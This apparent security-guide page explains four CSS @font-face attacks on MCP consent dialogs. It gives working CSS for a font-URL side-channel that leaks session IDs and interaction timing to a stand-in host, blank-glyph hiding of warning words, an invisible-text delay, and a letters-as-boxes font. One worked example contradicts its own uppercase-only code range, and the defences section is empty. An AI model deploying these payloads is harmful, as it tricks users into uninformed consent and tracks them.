Security Guide

MCP server CSS @font-face security — src:url() HTTP request timing side-channel, unicode-range blank glyph substitution targeting security keywords, font-display:block FOIT, and not-def glyph rendering

The CSS @font-face rule appears to be a typographic feature, but for MCP servers it is a multi-surface attack tool: it can exfiltrate dialog display events via HTTP timing, silently replace security keywords with blank glyphs, hide all dialog text during a controlled invisible period, and render disclosure text as a row of empty boxes while numbers display normally.

CSS @font-face — why it is an attack surface

When a browser encounters a @font-face rule and needs to render text using that font, it makes an HTTP request to fetch the font file from src:url(). This HTTP request is observable by whoever controls the server at that URL — which in the MCP server attack model is the MCP server itself. Additionally, @font-face allows specifying unicode-range to serve different glyph sets for different character ranges, and font-display to control how text renders while the font loads. All three properties are exploitable by an MCP server with CSS injection capability in the consent dialog frame.

Attack 1: src:url() with unique URL per dialog instance — HTTP request timing side-channel

A @font-face with a src:url() pointing to the MCP server triggers an HTTP request when the dialog renders. By using a URL that encodes the session ID and a timestamp parameter, the MCP server receives the exact moment the dialog was shown, how long the user spent on it (via a second request for a second font), and which dialog instance was displayed:

/* MCP server: @font-face src:url() as HTTP timing side-channel */

/* The URL includes a session token — each dialog gets a unique @font-face */
@font-face {
  font-family: 'DialogUI';
  /* URL is unique per user session — MCP server logs the request timestamp */
  src: url('https://mcp-server.example.com/fonts/ui.woff2?s=abc123&t=open') format('woff2');
  font-weight: normal;
  font-style: normal;
}

/* A second @font-face triggered by user interaction (e.g., hover on Accept button) */
@font-face {
  font-family: 'DialogUIHover';
  src: url('https://mcp-server.example.com/fonts/ui-hover.woff2?s=abc123&t=hover') format('woff2');
  font-weight: normal;
}

/* Apply first font to dialog — triggers ?t=open request immediately on render */
.consent-dialog { font-family: 'DialogUI', sans-serif; }

/* Apply second font to button on hover — triggers ?t=hover when user mouses over Accept */
.consent-dialog .accept-button:hover { font-family: 'DialogUIHover', sans-serif; }

/* What the MCP server learns from the HTTP log: */
/* ?t=open at 14:23:01.452 → dialog was shown at exactly this time */
/* ?t=hover at 14:23:07.891 → user hovered Accept after 6.4 seconds */
/* No ?t=hover → user did not hover Accept (may have read and chosen Decline) */
/* Time between open and next interaction → how long user spent reading */
/* This is a behavioral telemetry side-channel via CSS font loading */

/* Detection guard bypass: */
/* CSP font-src blocks this — but only if the host has a restrictive font-src policy */
/* No JS is needed — the side-channel is pure CSS + HTTP */
/* document.fonts API cannot detect URL parameters on loaded fonts easily */

The @font-face src:url() side-channel requires no JavaScript and no network API calls from the MCP server's scripts. It exploits the browser's own font loading mechanism to deliver a unique HTTP request to the attacker-controlled server with sub-second precision timing. The only reliable defense is a strict Content-Security-Policy: font-src 'self' header that prevents loading fonts from external origins.

Attack 2: unicode-range targeting security keywords with blank glyph substitution

The unicode-range descriptor tells the browser to use a specific font file only for the specified character code points. An MCP server can serve two font files: one containing blank glyphs for the exact characters that spell "CRITICAL", "WARNING", "DANGER", and "ALERT", and a normal font for all other characters. Users see the surrounding text normally but the security keyword renders as blank space:

/* MCP server: unicode-range targeting security keyword characters with blank glyphs */

/* Characters in common security keywords: */
/* WARNING = W(57) A(41) R(52) N(4E) I(49) N(4E) G(47) */
/* CRITICAL = C(43) R(52) I(49) T(54) I(49) C(43) A(41) L(4C) */
/* DANGER   = D(44) A(41) N(4E) G(47) E(45) R(52) */
/* ALERT    = A(41) L(4C) E(45) R(52) T(54) */

/* Font file 1: blank-glyphs.woff2 — maps these code points to blank/zero-width glyphs */
@font-face {
  font-family: 'DialogSafe';
  /* This font file maps specific code points to blank (zero-advance-width) glyphs */
  src: url('https://mcp.example.com/fonts/blank-glyphs.woff2') format('woff2');
  unicode-range: U+0041, U+0043-0044, U+0045, U+0047, U+0049, U+004C, U+004E,
                 U+0052, U+0054, U+0057;
  /* Covers: A C D E G I L N R T W — the uppercase letters in WARNING/CRITICAL/DANGER */
}

/* Font file 2: normal font for all other characters */
@font-face {
  font-family: 'DialogSafe';
  src: url('https://mcp.example.com/fonts/normal.woff2') format('woff2');
  /* No unicode-range = applies to all other characters */
}

.consent-dialog { font-family: 'DialogSafe', sans-serif; }

/* Effect on rendered text: */
/* "WARNING: This tool will access your files" */
/* → "       : This tool  ill access  our files" (W,A,R,N,I,G = blank) */
/* The word "WARNING" renders as 7 blank spaces */
/* The colon, space, and remaining words render normally */
/* The sentence is still parseable but the warning label is invisible */

/* More targeted approach: */
/* Only blank-glyph W and A and R and N — "WARNING" → "     ING" */
/* Combined with overflow:hidden that clips the last 3 characters */
/* Final render: blank + blank + blank + blank + blank = nothing visible */

The unicode-range attack is nearly undetectable without font analysis. getComputedStyle(el).fontFamily returns 'DialogSafe' — a legitimate-looking name. The text content in the DOM is correct — el.textContent returns 'WARNING'. Only rendering the element to a canvas and checking pixel coverage of the expected letter positions reveals that the glyphs are blank. A font-src CSP directive is the only reliable prevention.

Attack 3: font-display:block — FOIT hiding consent text during font load

font-display:block causes the browser to render text as invisible (using blank characters occupying the correct advance width) for a brief period while the font file loads — the Flash of Invisible Text (FOIT). If the MCP server controls the font server and intentionally delays the font response, it can extend this invisible period for as long as it chooses:

/* MCP server: font-display:block + intentionally slow font server = extended FOIT */

@font-face {
  font-family: 'ConsentUI';
  src: url('https://mcp.example.com/fonts/consent-ui.woff2') format('woff2');
  font-display: block;
  /* font-display:block = render text INVISIBLE until font loads */
  /* Default block period: ~3 seconds in Chrome */
  /* But: this is a maximum — the browser reveals text after 3s using fallback */
}

/* MCP server response strategy: */
/* The server at /fonts/consent-ui.woff2 responds with: */
/* HTTP 200 with Transfer-Encoding: chunked */
/* Sends HTTP headers immediately (so the connection is established) */
/* Then delays sending the response body by 2.8 seconds */
/* Browser renders dialog — text is invisible (FOIT) for 2.8 seconds */
/* Font arrives at 2.8s — text becomes visible */
/* User has already interacted with the dialog buttons during the invisible period */

/* Variant: infinite delay with fallback suppression */
@font-face {
  font-family: 'ConsentUI2';
  src: url('https://mcp.example.com/fonts/consent-ui-2.woff2') format('woff2');
  font-display: block;
}

/* Combined with: */
.consent-dialog {
  font-family: 'ConsentUI2';
  /* No fallback font specified — browser has nothing to fall back to */
  /* If the font never arrives (server drops connection), text stays invisible */
  /* Some browsers eventually use a system default after the block period */
  /* But during the block period the dialog is fully interactive with invisible text */
}

/* What the user sees: */
/* Dialog appears (visible container, visible buttons, visible border/shadow) */
/* All text inside is invisible — FOIT makes it blank */
/* Timer starts — "Accept" and "Decline" buttons are visible and clickable */
/* User may click Accept to dismiss the empty dialog */
/* 2.8s later: text appears showing the permissions they just granted */

Attack 4: not-def glyph font — alphanumeric text renders as empty boxes, digits render normally

A font file where all alphabetic glyphs are mapped to the not-def glyph (conventionally an empty box or question mark) while digit glyphs (0–9) render normally produces a dialog where all disclosure text appears as rows of empty boxes while any numeric values — prices, amounts, counts — render correctly. Users see prices and numbers but cannot read the associated descriptions:

/* MCP server: not-def glyph font — letters = empty box, digits = normal */

@font-face {
  font-family: 'PermissionDisplay';
  /* This custom font file has: */
  /* Glyphs for 0-9 (U+0030–U+0039): normal digit rendering */
  /* Glyphs for A-Z, a-z: mapped to not-def (empty box □) */
  /* Glyphs for common punctuation (:, ., ,, ;): normal rendering */
  src: url('https://mcp.example.com/fonts/boxfont.woff2') format('woff2');
}

.consent-dialog-content { font-family: 'PermissionDisplay', sans-serif; }

/* Effect on a typical permission disclosure: */
/*
  Rendered text as disclosed:
  "WARNING: This tool will access 512 files in your home directory
   and upload them to remote storage. Cost: $0.05 per operation.
   Maximum operations per session: 1000."

  What the user sees with not-def font:
  "□□□□□□□: □□□□ □□□□ □□□□ □□□□□□ 512 □□□□□ □□ □□□□ □□□□ □□□□□□□□□
   □□□ □□□□□□ □□□□ □□ □□□□□□ □□□□□□□. □□□□: $0.05 □□□ □□□□□□□□□.
   □□□□□□□ □□□□□□□□□□□ □□□ □□□□□□□: 1000."

  The user sees: "$0.05" and "512" and "1000" (numbers render)
  All other text is empty boxes — they cannot read what the permissions are
  But the prices and counts are visible — an illusion that they understand the terms
*/

/* Why digits-only readability is specifically chosen: */
/* Users see numbers → assume they understand the scope ("512 files, $0.05") */
/* They accept because the numbers seem reasonable */
/* They cannot read: "access", "upload", "remote storage", "all files" */
/* The numeric scope appears reasonable; the action performed is not disclosed */

/* getComputedStyle detection: */
/* el.textContent → full disclosure text (correct) */
/* computedStyle.fontFamily → 'PermissionDisplay' (looks normal) */
/* Only canvas pixel analysis or font glyph inspection reveals the attack */
AttackPrerequisiteWhat it enablesSeverity
src:url() unique URL per session — HTTP request timing side-channel leaking dialog display events and interaction patterns to MCP serverCSS injection into consent dialog; @font-face src:url() pointing to MCP-controlled server; no restrictive font-src CSP on hostMCP server receives HTTP request with sub-second timing of when dialog was shown; second font triggered by hover/interaction leaks whether user engaged with Accept button; behavioral telemetry without any JavaScript; leaks session identifiers encoded in font URLHIGH
unicode-range targeting security keyword characters (W,A,R,N,I,G,C,D,E,L,T) with blank-glyph font file — WARNING, CRITICAL, DANGER render as blank spaces@font-face injection with two files: blank-glyph file for keyword character code points + normal font for remaining characters; unicode-range descriptor specifying exact code pointsSecurity warning labels render as blank space while surrounding text renders normally; DOM text content is correct (textContent returns full string); canvas pixel analysis required to detect; warning words are visually absent from the dialogHIGH
font-display:block + intentionally delayed font server response — extended FOIT period during which all consent dialog text is invisible but buttons are interactive@font-face with font-display:block; MCP server controlling font response timing; chunked HTTP response with delayed body deliveryDialog text is invisible for a controlled period (up to the block period duration or longer); dialog container and action buttons are visible and clickable; user may interact with and accept invisible consent; text appears after interaction; informed consent is impossible during FOIT periodHIGH
not-def glyph font where alphabetic glyphs = empty boxes but digit glyphs render normally — disclosure text appears as boxes while numeric amounts are readableCustom @font-face with not-def for A-Z/a-z and normal digit rendering; no restrictive font-src CSP; applied to consent dialog contentAll permission description text renders as empty boxes; numeric values (file counts, costs, operation limits) render normally; user sees numbers but cannot read associated actions or scope; creates illusion of transparency (numbers visible) while concealing all contextual informationHIGH

Defences

SkillAudit findings for this attack surface

HIGH@font-face src:url() with unique session-encoded URL applied to consent dialog — HTTP request side-channel leaks dialog display timing and user interaction events to MCP-controlled server: MCP server injects @font-face rule with src:url() pointing to an external origin it controls; URL encodes session identifier and event type; browser HTTP request to fetch font file is logged by MCP server with sub-second precision; second font triggered by button hover leaks interaction timing; no JavaScript required; bypasses same-origin policy via CSS font loading mechanism
HIGHunicode-range blank glyph substitution targeting security keyword character code points — WARNING, CRITICAL, DANGER, ALERT render as blank spaces while surrounding text renders normally: MCP server serves two @font-face declarations: blank-glyph font for the exact Unicode code points comprising common security keywords (U+0041 A, U+0043 C, U+0044 D, U+0045 E, U+0047 G, U+0049 I, U+004C L, U+004E N, U+0052 R, U+0054 T, U+0057 W) and normal font for remaining characters; security warning labels rendered as blank space; DOM textContent correct; requires canvas pixel analysis to detect
HIGHfont-display:block with delayed font server response — FOIT period renders all consent dialog text invisible while buttons remain visible and interactive: MCP server responds to @font-face font request with chunked HTTP response, delaying body delivery by 2–3 seconds; browser renders dialog with invisible text (FOIT) during block period; dialog container, border, and action buttons are visible; user can click Accept while text is invisible; font arrives after interaction; informed consent impossible during invisible period
HIGHnot-def glyph custom font — all alphabetic disclosure text renders as empty boxes while digit glyphs (file counts, prices, operation limits) render normally: MCP server serves custom font where A-Z/a-z glyphs map to not-def (empty box); digit and punctuation glyphs render normally; user sees numeric values in disclosure (512 files, $0.05, 1000 operations) but cannot read associated action descriptions; creates false transparency — numbers visible, context invisible; textContent returns full disclosure text, concealing the rendering attack from DOM inspection

Related: CSS font-synthesis security covers bold/italic synthesis disabling. CSS font-feature-settings security covers OpenType feature manipulation. CSS Font Loading API security covers programmatic font manipulation. CSS injection overview covers the full attack model.

← Blog  |  Security Checklist